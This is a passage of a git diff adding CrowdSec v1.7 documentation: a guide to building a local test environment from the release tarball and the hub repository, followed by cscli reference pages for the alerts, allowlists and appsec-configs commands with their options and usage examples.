component](https://docs.crowdsec.net/u/bouncers/wordpress). +- The [Firewall Bouncer](https://github.com/crowdsecurity/cs-firewall-bouncer) written in Go. Used for nftables/iptables. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/contributing/test_environment.md b/crowdsec-docs/versioned_docs/version-v1.7/contributing/test_environment.md new file mode 100644 index 000000000..a2c7f52a6 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/contributing/test_environment.md @@ -0,0 +1,92 @@ +--- +id: contributing_test_env +title: Creating a test environment +sidebar_position: 10 +--- + +:::warning +The following documentation is written for use on Linux systems. If you are using a different operating system, please adjust the commands accordingly if we have prebuilt binaries for your system. + +**However, please note we do not compile for MacOS so you will need to compile from source.** +::: + +You need a test environment for several reasons: + +- Creation of new parsers or scenarios +- Testing new features or in general +- Showcase a bug or a corner-case + +This can be done directly with the tarball of the release : + +```bash +VER=1.6.3 # Please check https://github.com/crowdsecurity/crowdsec/releases/latest for latest version +wget https://github.com/crowdsecurity/crowdsec/releases/download/v$VER/crowdsec-release.tgz +tar xvzf crowdsec-release.tgz +cd crowdsec-v$VER +./test_env.sh +``` + +You receive a directory structure like this: + +```bash +crowdsec-v + |- cmd + | |- crowdsec + | |- crowdsec-cli + |- config + | |- patterns + |- plugins + | |- notifications + |- tests + |- config + |- data + |- logs + |- plugins +``` + +The test environment is available in the folder `tests` and provides a functional CrowdSec environment : + +```bash +cd tests +./crowdsec -c dev.yaml +``` + +`cscli` should be functional as well : + +```bash +cd tests +./cscli -c dev.yaml hub list +``` + +In the test environment the configurations are in the folder `config/`. + +## Add hub repository to test environment + +> You only need to add this if you want to develop parsers and scenarios + +```bash +# cd tests # if you are already in tests no need to cd +git clone https://github.com/crowdsecurity/hub +cd hub +``` + +Great! since we cloned the hub repository we can now run `cscli` commands within here for example: + +```bash +../cscli -c ../dev.yaml hubtest run --all +``` + +That command will now run all tests within the hub repository. Please take note about the `../` infront of `cscli` and `dev.yaml` as these are in the folder above our current working directory. + +A helpful tip to save you typing the whole command everytime is to set an shell alias example: + +```bash +alias csdev="$(dirname $PWD)/cscli -c $(dirname $PWD)/dev.yaml" +``` +Then you can run command as + +```bash +csdev hubtest run --all +``` + +However, this is temporary alias set within the shell so please add to `.bashrc` or your shell equivalent. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli.md new file mode 100644 index 000000000..706ddaa02 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli.md @@ -0,0 +1,55 @@ +--- +id: cscli +title: cscli +--- +cscli allows you to manage crowdsec + +### Synopsis + +cscli is the main command to interact with your crowdsec service, scenarios & db. +It is meant to allow you to manage bans, parsers/scenarios/etc, api and generally manage your crowdsec setup. + +### Options + +``` + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + -o, --output string Output format: human, json, raw + --color string Output color: yes, no, auto (default "auto") + --debug Set logging to debug + --info Set logging to info + --warning Set logging to warning + --error Set logging to error + --trace Set logging to trace + -h, --help help for cscli +``` + +### SEE ALSO + +* [cscli alerts](/cscli/cscli_alerts.md) - Manage alerts +* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists +* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs +* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules +* [cscli bouncers](/cscli/cscli_bouncers.md) - Manage bouncers [requires local API] +* [cscli capi](/cscli/cscli_capi.md) - Manage interaction with Central API (CAPI) +* [cscli collections](/cscli/cscli_collections.md) - Manage hub collections +* [cscli completion](/cscli/cscli_completion.md) - Generate completion script +* [cscli config](/cscli/cscli_config.md) - Allows to view current config +* [cscli console](/cscli/cscli_console.md) - Manage interaction with Crowdsec console (https://app.crowdsec.net) +* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts +* [cscli decisions](/cscli/cscli_decisions.md) - Manage decisions +* [cscli explain](/cscli/cscli_explain.md) - Explain log pipeline +* [cscli hub](/cscli/cscli_hub.md) - Manage hub index +* [cscli hubtest](/cscli/cscli_hubtest.md) - Run functional tests on hub configurations +* [cscli lapi](/cscli/cscli_lapi.md) - Manage interaction with Local API (LAPI) +* [cscli machines](/cscli/cscli_machines.md) - Manage local API machines [requires local API] +* [cscli metrics](/cscli/cscli_metrics.md) - Display crowdsec prometheus metrics. +* [cscli notifications](/cscli/cscli_notifications.md) - Helper for notification plugin configuration +* [cscli papi](/cscli/cscli_papi.md) - Manage interaction with Polling API (PAPI) +* [cscli parsers](/cscli/cscli_parsers.md) - Manage hub parsers +* [cscli postoverflows](/cscli/cscli_postoverflows.md) - Manage hub postoverflows +* [cscli scenarios](/cscli/cscli_scenarios.md) - Manage hub scenarios +* [cscli setup](/cscli/cscli_setup.md) - Tools to configure crowdsec +* [cscli simulation](/cscli/cscli_simulation.md) - Manage simulation status of scenarios +* [cscli support](/cscli/cscli_support.md) - Provide commands to help during support +* [cscli version](/cscli/cscli_version.md) - Display version + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts.md new file mode 100644 index 000000000..3b8268f2d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts.md @@ -0,0 +1,35 @@ +--- +id: cscli_alerts +title: cscli alerts +--- +Manage alerts + +### Options + +``` + -h, --help help for alerts +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli alerts delete](/cscli/cscli_alerts_delete.md) - Delete alerts +/!\ This command can be used only on the same machine than the local API. +* [cscli alerts flush](/cscli/cscli_alerts_flush.md) - Flush alerts +/!\ This command can be used only on the same machine than the local API +* [cscli alerts inspect](/cscli/cscli_alerts_inspect.md) - Show info about an alert +* [cscli alerts list](/cscli/cscli_alerts_list.md) - List alerts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_delete.md new file mode 100644 index 000000000..f41b226e9 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_delete.md @@ -0,0 +1,50 @@ +--- +id: cscli_alerts_delete +title: cscli alerts delete +--- +Delete alerts +/!\ This command can be used only on the same machine than the local API. + +``` +cscli alerts delete [filters] [--all] [flags] +``` + +### Examples + +``` +cscli alerts delete --ip 1.2.3.4 +cscli alerts delete --range 1.2.3.0/24 +cscli alerts delete -s crowdsecurity/ssh-bf" +``` + +### Options + +``` + --scope string the scope (ie. ip,range) + -v, --value string the value to match for in the specified scope + -s, --scenario string the scenario (ie. crowdsecurity/ssh-bf) + -i, --ip string Source ip (shorthand for --scope ip --value ) + -r, --range string Range source ip (shorthand for --scope range --value ) + --id string alert ID + -a, --all delete all alerts + --contained query decisions contained by range + -h, --help help for delete +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli alerts](/cscli/cscli_alerts.md) - Manage alerts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_flush.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_flush.md new file mode 100644 index 000000000..d41d6dca9 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_flush.md @@ -0,0 +1,42 @@ +--- +id: cscli_alerts_flush +title: cscli alerts flush +--- +Flush alerts +/!\ This command can be used only on the same machine than the local API + +``` +cscli alerts flush [flags] +``` + +### Examples + +``` +cscli alerts flush --max-items 1000 --max-age 7d +``` + +### Options + +``` + --max-items int Maximum number of alert items to keep in the database (default 5000) + --max-age duration Maximum age of alert items to keep in the database (default 168h0m0s) + -h, --help help for flush +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli alerts](/cscli/cscli_alerts.md) - Manage alerts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_inspect.md new file mode 100644 index 000000000..6079d5e23 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_inspect.md @@ -0,0 +1,40 @@ +--- +id: cscli_alerts_inspect +title: cscli alerts inspect +--- +Show info about an alert + +``` +cscli alerts inspect "alert_id" [flags] +``` + +### Examples + +``` +cscli alerts inspect 123 +``` + +### Options + +``` + -d, --details show alerts with events + -h, --help help for inspect +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli alerts](/cscli/cscli_alerts.md) - Manage alerts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_list.md new file mode 100644 index 000000000..76d9ae371 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_list.md @@ -0,0 +1,61 @@ +--- +id: cscli_alerts_list +title: cscli alerts list +--- +List alerts + +### Synopsis + +List alerts with optional filters + +``` +cscli alerts list [filters] [flags] +``` + +### Examples + +``` +cscli alerts list +cscli alerts list --ip 1.2.3.4 +cscli alerts list --range 1.2.3.0/24 +cscli alerts list --origin lists +cscli alerts list -s crowdsecurity/ssh-bf +cscli alerts list --type ban +``` + +### Options + +``` + -a, --all Include decisions from Central API + --until duration restrict to alerts older than until (ie. 4h, 30d) (default 0s) + --since duration restrict to alerts newer than since (ie. 4h, 30d) (default 0s) + -i, --ip string restrict to alerts from this source ip (shorthand for --scope ip --value ) + -s, --scenario string the scenario (ie. crowdsecurity/ssh-bf) + -r, --range string restrict to alerts from this range (shorthand for --scope range --value ) + --type string restrict to alerts with given decision type (ie. ban, captcha) + --scope string restrict to alerts of this scope (ie. ip,range) + -v, --value string the value to match for in the specified scope + --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI ...) + --contained query decisions contained by range + -m, --machine print machines that sent alerts + -l, --limit int limit size of alerts list table (0 to view all alerts) (default 50) + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli alerts](/cscli/cscli_alerts.md) - Manage alerts + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists.md new file mode 100644 index 000000000..76d55d384 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists.md @@ -0,0 +1,36 @@ +--- +id: cscli_allowlists +title: cscli allowlists +--- +Manage centralized allowlists + +### Options + +``` + -h, --help help for allowlists +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli allowlists add](/cscli/cscli_allowlists_add.md) - Add content to an allowlist +* [cscli allowlists check](/cscli/cscli_allowlists_check.md) - Check if a value is in an allowlist +* [cscli allowlists create](/cscli/cscli_allowlists_create.md) - Create a new allowlist +* [cscli allowlists delete](/cscli/cscli_allowlists_delete.md) - Delete an allowlist +* [cscli allowlists inspect](/cscli/cscli_allowlists_inspect.md) - Inspect an allowlist +* [cscli allowlists list](/cscli/cscli_allowlists_list.md) - List all allowlists +* [cscli allowlists remove](/cscli/cscli_allowlists_remove.md) - Remove content from an allowlist + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_add.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_add.md new file mode 100644 index 000000000..54b0eae96 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_add.md @@ -0,0 +1,41 @@ +--- +id: cscli_allowlists_add +title: cscli allowlists add +--- +Add content to an allowlist + +``` +cscli allowlists add [allowlist_name] [value...] [-e expiration] [-d comment] [flags] +``` + +### Examples + +``` +cscli allowlists add my_allowlist 1.2.3.4 2.3.4.5 -e 1h -d "my comment" +``` + +### Options + +``` + -d, --comment string comment for the value + -e, --expiration duration expiration duration (default 0s) + -h, --help help for add +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_check.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_check.md new file mode 100644 index 000000000..cd9b43880 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_check.md @@ -0,0 +1,39 @@ +--- +id: cscli_allowlists_check +title: cscli allowlists check +--- +Check if a value is in an allowlist + +``` +cscli allowlists check [value...] [flags] +``` + +### Examples + +``` +cscli allowlists check 1.2.3.4 +``` + +### Options + +``` + -h, --help help for check +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_create.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_create.md new file mode 100644 index 000000000..51d4ac9e3 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_create.md @@ -0,0 +1,40 @@ +--- +id: cscli_allowlists_create +title: cscli allowlists create +--- +Create a new allowlist + +``` +cscli allowlists create [allowlist_name] [flags] +``` + +### Examples + +``` +cscli allowlists create my_allowlist -d 'my allowlist description' +``` + +### Options + +``` + -d, --description string description of the allowlist + -h, --help help for create +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_delete.md new file mode 100644 index 000000000..2abf96024 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_delete.md @@ -0,0 +1,39 @@ +--- +id: cscli_allowlists_delete +title: cscli allowlists delete +--- +Delete an allowlist + +``` +cscli allowlists delete [allowlist_name] [flags] +``` + +### Examples + +``` +cscli allowlists delete my_allowlist +``` + +### Options + +``` + -h, --help help for delete +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_inspect.md new file mode 100644 index 000000000..c9d6a2153 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_inspect.md @@ -0,0 +1,39 @@ +--- +id: cscli_allowlists_inspect +title: cscli allowlists inspect +--- +Inspect an allowlist + +``` +cscli allowlists inspect [allowlist_name] [flags] +``` + +### Examples + +``` +cscli allowlists inspect my_allowlist +``` + +### Options + +``` + -h, --help help for inspect +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_list.md new file mode 100644 index 000000000..ab1a4896a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_list.md @@ -0,0 +1,39 @@ +--- +id: cscli_allowlists_list +title: cscli allowlists list +--- +List all allowlists + +``` +cscli allowlists list [flags] +``` + +### Examples + +``` +cscli allowlists list +``` + +### Options + +``` + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_remove.md new file mode 100644 index 000000000..037986609 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_remove.md @@ -0,0 +1,39 @@ +--- +id: cscli_allowlists_remove +title: cscli allowlists remove +--- +Remove content from an allowlist + +``` +cscli allowlists remove [allowlist_name] [value] [flags] +``` + +### Examples + +``` +cscli allowlists remove my_allowlist 1.2.3.4 2.3.4.5 +``` + +### Options + +``` + -h, --help help for remove +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs.md new file mode 100644 index 000000000..7f9e2509c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs.md @@ -0,0 +1,45 @@ +--- +id: cscli_appsec-configs +title: cscli appsec-configs +--- +Manage hub appsec-configs + +### Examples + +``` +cscli appsec-configs list -a +cscli appsec-configs install crowdsecurity/virtual-patching +cscli appsec-configs inspect crowdsecurity/virtual-patching +cscli appsec-configs upgrade crowdsecurity/virtual-patching +cscli appsec-configs remove crowdsecurity/virtual-patching + +``` + +### Options + +``` + -h, --help help for appsec-configs +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli appsec-configs inspect](/cscli/cscli_appsec-configs_inspect.md) - Inspect given appsec-config(s) +* [cscli appsec-configs install](/cscli/cscli_appsec-configs_install.md) - Install given appsec-config(s) +* [cscli appsec-configs list](/cscli/cscli_appsec-configs_list.md) - List appsec-config(s) +* [cscli appsec-configs remove](/cscli/cscli_appsec-configs_remove.md) - Remove given appsec-config(s) +* [cscli appsec-configs upgrade](/cscli/cscli_appsec-configs_upgrade.md) - Upgrade given appsec-config(s) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_inspect.md new file mode 100644 index 000000000..0c5508e1c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_inspect.md @@ -0,0 +1,58 @@ +--- +id: cscli_appsec-configs_inspect +title: cscli appsec-configs inspect +--- +Inspect given appsec-config(s) + +### Synopsis + +Inspect the state of one or more appsec-configs + +``` +cscli appsec-configs inspect [item]... [flags] +``` + +### Examples + +``` +# Display metadata, state, ancestor collections of appsec-configs (installed or not). +cscli appsec-configs inspect crowdsecurity/virtual-patching + +# If the config is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). +# To avoid this, use --no-metrics. +cscli appsec-configs inspect crowdsecurity/virtual-patching --no-metrics + +# Display difference between a tainted item and the latest one. +cscli appsec-configs inspect crowdsecurity/virtual-patching --diff + +# Reverse the above diff +cscli appsec-configs inspect crowdsecurity/virtual-patching --diff --rev +``` + +### Options + +``` + --diff Show diff with latest version (for tainted items) + -h, --help help for inspect + --no-metrics Don't show metrics (when cscli.output=human) + --rev Reverse diff output + -u, --url string Prometheus url +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_install.md new file mode 100644 index 000000000..4b7c2e9c1 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_install.md @@ -0,0 +1,65 @@ +--- +id: cscli_appsec-configs_install +title: cscli appsec-configs install +--- +Install given appsec-config(s) + +### Synopsis + +Fetch and install one or more appsec-configs from the hub + +``` +cscli appsec-configs install [item]... [flags] +``` + +### Examples + +``` +# Install some appsec-configs. +cscli appsec-configs install crowdsecurity/virtual-patching + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli appsec-configs install crowdsecurity/virtual-patching --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli appsec-configs install crowdsecurity/virtual-patching --dry-run -o raw + +# Download only, to be installed later. +cscli appsec-configs install crowdsecurity/virtual-patching --download-only + +# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli appsec-configs install crowdsecurity/virtual-patching --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli appsec-configs install crowdsecurity/virtual-patching -i +cscli appsec-configs install crowdsecurity/virtual-patching --interactive +``` + +### Options + +``` + -d, --download-only Only download packages, don't enable + --dry-run Don't install or remove anything; print the execution plan + --force Force install: overwrite tainted and outdated files + -h, --help help for install + --ignore Ignore errors when installing multiple appsec-configs + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_list.md new file mode 100644 index 000000000..52230386c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_list.md @@ -0,0 +1,51 @@ +--- +id: cscli_appsec-configs_list +title: cscli appsec-configs list +--- +List appsec-config(s) + +### Synopsis + +List of installed/available/specified appsec-configs + +``` +cscli appsec-configs list [item... | -a] [flags] +``` + +### Examples + +``` +# List enabled (installed) appsec-configs. +cscli appsec-configs list + +# List all available appsec-configs (installed or not). +cscli appsec-configs list -a + +# List specific appsec-configs (installed or not). +cscli appsec-configs list crowdsecurity/virtual-patching crowdsecurity/generic-rules +``` + +### Options + +``` + -a, --all List disabled items as well + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_remove.md new file mode 100644 index 000000000..9a70047b2 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_remove.md @@ -0,0 +1,65 @@ +--- +id: cscli_appsec-configs_remove +title: cscli appsec-configs remove +--- +Remove given appsec-config(s) + +### Synopsis + +Remove one or more appsec-configs + +``` +cscli appsec-configs remove [item]... [flags] +``` + +### Examples + +``` +# Uninstall some appsec-configs. +cscli appsec-configs remove crowdsecurity/virtual-patching + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli appsec-configs remove crowdsecurity/virtual-patching --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli appsec-configs remove crowdsecurity/virtual-patching --dry-run -o raw + +# Uninstall and also remove the downloaded files. +cscli appsec-configs remove crowdsecurity/virtual-patching --purge + +# Remove tainted items. +cscli appsec-configs remove crowdsecurity/virtual-patching --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli appsec-configs remove crowdsecurity/virtual-patching -i +cscli appsec-configs remove crowdsecurity/virtual-patching --interactive +``` + +### Options + +``` + --all Remove all the appsec-configs + --dry-run Don't install or remove anything; print the execution plan + --force Force remove: remove tainted and outdated files + -h, --help help for remove + -i, --interactive Ask for confirmation before proceeding + --purge Delete source file too +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_upgrade.md new file mode 100644 index 000000000..566ff6ece --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_upgrade.md @@ -0,0 +1,61 @@ +--- +id: cscli_appsec-configs_upgrade +title: cscli appsec-configs upgrade +--- +Upgrade given appsec-config(s) + +### Synopsis + +Fetch and upgrade one or more appsec-configs from the hub + +``` +cscli appsec-configs upgrade [item]... [flags] +``` + +### Examples + +``` +# Upgrade some appsec-configs. If they are not currently installed, they are downloaded but not installed. +cscli appsec-configs upgrade crowdsecurity/virtual-patching + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli appsec-configs upgrade crowdsecurity/virtual-patching --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli appsec-configs upgrade crowdsecurity/virtual-patching --dry-run -o raw + +# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli appsec-configs upgrade crowdsecurity/virtual-patching --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli appsec-configs upgrade crowdsecurity/virtual-patching -i +cscli appsec-configs upgrade crowdsecurity/virtual-patching --interactive +``` + +### Options + +``` + -a, --all Upgrade all the appsec-configs + --dry-run Don't install or remove anything; print the execution plan + --force Force upgrade: overwrite tainted and outdated files + -h, 